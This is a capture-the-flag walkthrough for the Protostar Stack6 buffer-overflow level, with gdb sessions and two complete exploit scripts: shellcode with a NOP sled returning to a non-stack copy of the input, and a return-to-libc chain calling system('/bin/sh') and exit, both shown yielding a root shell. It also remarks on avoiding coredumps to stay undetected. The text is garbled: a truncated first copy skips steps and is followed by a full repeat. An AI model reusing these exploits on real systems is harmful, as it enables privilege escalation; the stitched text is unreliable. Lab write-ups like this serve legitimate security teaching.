Protostar 0x06 - Stack6
Prev: 0x05 - Stack5
Next: 0x07 - Stack7
In this level, we have the same objective as before but with a restriction on the return address: it cannot have "0xbf" as its most-significant byte, or in other words, it cannot be a stack address.
There are a number of ways to solve this, the level even tells us as much, but let's begin with the simplest option: we can try to locate a copy of the string we provide - a separate instance of the string that is duplicated at runtime, but not on the stack. To find it, we'll need to load up gdb and break after the "gets" call in "getpath."
$ gdb /opt/protostar/bin/stack6
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break *getpath+43
Breakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.
If we run the program and enter "AAAA" as our input, we'll hit our breakpoint. Now, we want to search our various sections of virtual memory to see where else this input string might be copied. To do this, let's first examine these virtual memory addresses using "info proc map" in gdb:
(gdb) info proc map
process 3777
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces: Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
...
Because the string we are searching for is user input copied to a string array via "gets" as opposed to a string literal, we can ignore code section address beginning with 0x0804. Continuing, however, we find several sections beginning with the byte "0xb7." We can search these in gdb using the "find" command, and eventually we find our string:
(gdb) find /w 0xb7fde000, 0xb7fe2000, 0x41414141
0xb7fde000
1 pattern found.
(gdb) x/20x 0xb7fde000
0xb7fde000: 0x41414141 0x0000000a 0x00000000 0x00000000
There it is - our duplicated input is located at address 0xb7fde000! Let's assemble our shellcode, using this as the return address.
This time, let's replace the initial buffer from the previous level's payload with NOPs and append a short 4-byte jump instruction right before the return address. Then, we'll keep our second NOP slide, and finally, our shellcode. This gratuitous NOP padding will ensure we get a hit, as we know that gdb addresses can differ from real addresses. Finally, we'll add a 0x20 byte offset to the address we obtained above to prevent us from going too low as well. Our final script:
import struct
buffer = "\x90" * 78
jump = "\xeb\x04"
ret = struct.pack("<I", 0xb7fde000+0x20)
nops = "\x90" * 100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = buffer + jump + ret + nops + shellcode
print payload
If we test this, it works!
$ (python stack6.py; cat) | /opt/protostar/bin/stack6
whoami
root
Now what about the more challenging option? One of the ways to spawn a shell is through a "system" call. "system" is a command within the C standard library, or more specifically the "stdlib.h" header file, which is included in most C programs. If we check the top of the stack7.c source code, we find the header located there as well.
How does "system" work? If we reference the man page, we see that it takes a single command and executes it before exiting. If we have it execute "/bin/sh," then we have an open shell!
Let's open stack6 in gdb and locate the address of "system" within the program. This will allow us to return into it.
$ gdb /opt/protostar/bin/stack6
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break main
Breakpoint 1 at 0x804854b: file stack6/stack6.c, line 28.
(gdb) r
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffffd74) at stack6/stack6.c:28
28 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) print system
$2 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
With the "print" command, we see that the address of "system" within stack6's libc is "0xb7ecffb0." If we overflow this program's buffer and return into "system," we'll be just about good to go. Now, we just need the address of "/bin/sh" so we can pass it in as the argument for "system."
In theory, we could provide the "/bin/sh" string ourselves as the first few characters of our input and then provide the stack address as the argument. However, there are two concerns there:
We hit a segfault when we provide an interrupt, because the "stack6" program is still running behind our shell, and when we close it, it will try to return to the "AAAA" address we provided. This is sloppy, and may leave behind a coredump file which will record our misdeeds and prevent us remaining undetected.
Let's locate the address of the "exit" function, so that we exit cleanly. We can do this by loading up gdb and printing the address, similar to how we did for "system:"
(gdb) print exit
$1 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
Alright, let's edit the "ret_after_system" address in our payload to 0xb7ec60c0, and try again:
$ (python stack7.py; cat) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`췿c
whoami
root
^C$
Alright - a clean exit!
Prev: 0x05 - Stack5
Next: 0x07 - Stack7
Next: 0x07 - Stack7
In this level, we have the same objective as before but with a restriction on the return address: it cannot have "0xbf" as its most-significant byte, or in other words, it cannot be a stack address.
There are a number of ways to solve this, the level even tells us as much, but let's begin with the simplest option: we can try to locate a copy of the string we provide - a separate instance of the string that is duplicated at runtime, but not on the stack. To find it, we'll need to load up gdb and break after the "gets" call in "getpath."
$ gdb /opt/protostar/bin/stack6
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break *getpath+43
Breakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.
If we run the program and enter "AAAA" as our input, we'll hit our breakpoint. Now, we want to search our various sections of virtual memory to see where else this input string might be copied. To do this, let's first examine these virtual memory addresses using "info proc map" in gdb:
(gdb) info proc map
process 3777
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces: Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
...
Because the string we are searching for is user input copied to a string array via "gets" as opposed to a string literal, we can ignore code section address beginning with 0x0804. Continuing, however, we find several sections beginning with the byte "0xb7." We can search these in gdb using the "find" command, and eventually we find our string:
(gdb) find /w 0xb7fde000, 0xb7fe2000, 0x41414141
0xb7fde000
1 pattern found.
(gdb) x/20x 0xb7fde000
0xb7fde000: 0x41414141 0x0000000a 0x00000000 0x00000000
There it is - our duplicated input is located at address 0xb7fde000! Let's assemble our shellcode, using this as the return address.
This time, let's replace the initial buffer from the previous level's payload with NOPs and append a short 4-byte jump instruction right before the return address. Then, we'll keep our second NOP slide, and finally, our shellcode. This gratuitous NOP padding will ensure we get a hit, as we know that gdb addresses can differ from real addresses. Finally, we'll add a 0x20 byte offset to the address we obtained above to prevent us from going too low as well. Our final script:
import struct
buffer = "\x90" * 78
jump = "\xeb\x04"
ret = struct.pack("<I", 0xb7fde000+0x20)
nops = "\x90" * 100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = buffer + jump + ret + nops + shellcode
print payload
If we test this, it works!
$ (python stack6.py; cat) | /opt/protostar/bin/stack6
whoami
root
Now what about the more challenging option? One of the ways to spawn a shell is through a "system" call. "system" is a command within the C standard library, or more specifically the "stdlib.h" header file, which is included in most C programs. If we check the top of the stack7.c source code, we find the header located there as well.
How does "system" work? If we reference the man page, we see that it takes a single command and executes it before exiting. If we have it execute "/bin/sh," then we have an open shell!
Let's open stack6 in gdb and locate the address of "system" within the program. This will allow us to return into it.
$ gdb /opt/protostar/bin/stack6
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break main
Breakpoint 1 at 0x804854b: file stack6/stack6.c, line 28.
(gdb) r
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffffd74) at stack6/stack6.c:28
28 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) print system
$2 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
With the "print" command, we see that the address of "system" within stack6's libc is "0xb7ecffb0." If we overflow this program's buffer and return into "system," we'll be just about good to go. Now, we just need the address of "/bin/sh" so we can pass it in as the argument for "system."
In theory, we could provide the "/bin/sh" string ourselves as the first few characters of our input and then provide the stack address as the argument. However, there are two concerns there:
- finding the exact stack address, as we learned before, can be tricky as the real address will differ from gdb
- "/bin/sh" requires a null terminator, and while "gets" will not cease copying when it hits this character (it only ceases to read input when it hits a newline character or EOF per the man page), it is rare to find programs still using the insecure "gets" anymore
So, this means that we will want to locate our "/bin/sh" string elsewhere. Perhaps it is located in libc as well?
(gdb) info proc map
process 2008
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
...
(gdb) find 0xb7e97000, 0xb7fd9000, "/bin/sh"
0xb7fb63bf
1 pattern found.
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
Perfect, now we have both the address of "system" and the address of its singular argument, "/bin/sh." We have everything we need to craft our payload:
import struct
buffer = "A" * 80
system_ret = struct.pack("<I", 0xb7ecffb0)
ret_after_system = "AAAA"
binsh = struct.pack("<I", 0xb7fb63bf)
payload = buffer + system_ret + ret_after_system + binsh
print payload
Notice the "ret_after_system" variable: although we are using the ret instruction to effectively "jump" straight to the "system" function, "system" is still going to reference its variables as if it were executed normally using a "call" instruction. This means that it is expecting a return address at the top of the stack when it begins. Let's just initialize this with some dummy A bytes since they aren't necessary for spawning our shell.
This payload works, but with one caveat:
$ (python stack6.py; cat) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
whoami
root
^CSegmentation fault
We hit a segfault when we provide an interrupt, because the "stack6" program is still running behind our shell, and when we close it, it will try to return to the "AAAA" address we provided. This is sloppy, and may leave behind a coredump file which will record our misdeeds and prevent us remaining undetected.
Let's locate the address of the "exit" function, so that we exit cleanly. We can do this by loading up gdb and printing the address, similar to how we did for "system:"
(gdb) print exit
$1 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
Alright, let's edit the "ret_after_system" address in our payload to 0xb7ec60c0, and try again:
$ (python stack7.py; cat) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`췿c
whoami
root
^C$
Alright - a clean exit!
Prev: 0x05 - Stack5
Next: 0x07 - Stack7